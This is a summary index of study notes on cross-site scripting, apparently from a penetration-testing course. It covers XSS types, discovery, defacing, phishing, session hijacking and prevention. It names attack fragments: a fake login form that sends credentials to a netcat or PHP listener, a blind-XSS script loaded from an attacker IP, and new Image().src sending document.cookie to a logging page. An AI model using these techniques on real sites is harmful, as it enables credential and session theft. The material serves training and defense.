XSS (Cross-Site Scripting)
Directory map
- Introduction — what XSS is, risk, examples, types
- Stored (persistent) XSS — impact, testing, persistence checks
- Reflected (non-persistent) XSS — vs DOM-based, lab pattern, URL delivery
- DOM-based XSS — source/sink, innerHTML, fragment URLs, payloads without
<script> - XSS phishing — image-viewer lab, fake login form,
document.write, cleanup, netcat/PHP capture - XSS discovery — scanners, open-source tools, payload lists, code review
- XSS defacing — stored XSS, DOM levers, body/title/background, lab payloads
- XSS session hijacking — blind XSS, remote script OOB, cookie exfil, Firefox storage
- XSS prevention — sources/sinks, validation, encoding, CSP, cookies
Summary
Cross-site scripting lets attackers run JavaScript in victims’ browsers when applications fail to sanitize or encode user-controlled data. Notes cover client-side execution, typical impacts (session theft, forced actions, abuse of browser APIs), limits of pure XSS versus chaining with browser bugs, notable incidents (Samy worm, TweetDeck), and the three main types: stored, reflected, and DOM-based XSS. Stored XSS is covered in depth: saved payloads, wide victim pool, remediation in the database, basic PoC payloads (alert(window.origin), <plaintext>, print()), iframe/origin confirmation, and using refresh to verify persistence. Reflected XSS is summarized separately: non-persistent behavior (vs DOM-based), error-message reflection, empty-quotes UI vs view-source confirmation, and delivering GET-based attacks via malicious URLs. DOM-based XSS is summarized separately: client-only processing, hash/URL sources, view-source vs inspector, source and sink functions, why innerHTML often blocks <script>, and event-handler payloads (e.g. img / onerror) delivered via shared URLs. XSS phishing is summarized separately: trusted-domain fake login UI that posts credentials to the attacker; authorized use as awareness simulations; /phishing-style image URL labs where a raw <script> test often fails until source/context review; document.write for minified form HTML; getElementById('urlform').remove() after inspector (Ctrl+Shift+C) to drop the real URL field; <!-- after the payload to comment out trailing template; reflected delivery via a copied malicious URL; netcat on port 80 for quick GET /?username=…&password=… capture vs a PHP listener that logs to creds.txt and redirects to the clean app so the victim does not see a broken HTTP response. XSS discovery is summarized separately: automated scanning (passive DOM hints vs active payload injection; commercial vs OSS tradeoffs), tools such as XSStrike / Brute XSS / XSSer and why reflection in HTML ≠ execution, manual testing with public payload lists and non-form sinks (headers like Cookie / User-Agent), why generic lists miss simple labs, optional custom scripting for odd targets, and manual code review as the most reliable path when full data flow is visible (with deeper secure-coding / white-box study left to other modules). XSS defacing is summarized separately: using stored XSS for persistent visual takeover, reputation impact (e.g. public sector defacements), four common levers (document.body.style.background, document.body.background, document.title, innerHTML), swapping full <body> markup (with getElementsByTagName('body')[0]), optional jQuery when present, minified one-line HTML inside payloads, and how view-source can still show original structure while the rendered DOM looks defaced—plus injection position (end vs middle of page) affecting what later content might still appear. XSS session hijacking / blind XSS is summarized separately: cookies as session handles; blind sinks (admin panels, tickets, reviews, User-Agent); /hijacking-style registration reviewed by staff; OOB detection via <script src=http://IP/fieldname> so the request path names the vulnerable input; PayloadsAllTheThings-style quote-break variants and XHR / $.getScript when jQuery exists; sudo php -S 0.0.0.0:80 to catch callbacks; pragmatic skips (email validation, password unlikely echoed); then new Image().src (vs document.location) to send document.cookie in a GET to index.php?c=, PHP splitting on ;, urldecode, cookies.txt lines with REMOTE_ADDR; replay in Firefox Storage (Shift+F9) by adding name/value and refreshing—plus HttpOnly as the main cookie theft mitigation. XSS prevention is summarized separately: secure sources and sinks on client and server; front-end regex validation (e.g. email), DOMPurify for client-side HTML sanitization, avoiding <script> / <style> / attributes / comments built from input and dangerous APIs (innerHTML, document.write, document.domain, jQuery .html() / parseHTML() / insertion helpers); back-end filter_var / validation, sanitization libraries, never raw echo of request params; output encoding with htmlspecialchars/htmlentities (PHP) or html-entities (Node); deployment levers (HTTPS, CSP like script-src 'self', X-Content-Type-Options: nosniff, HttpOnly/Secure cookies, WAF, framework defaults such as ASP.NET); and ongoing offensive retesting because secure coding plus config can still miss edge cases—the note clarifies that addslashes alone is a weak primary HTML-XSS control versus contextual encoding.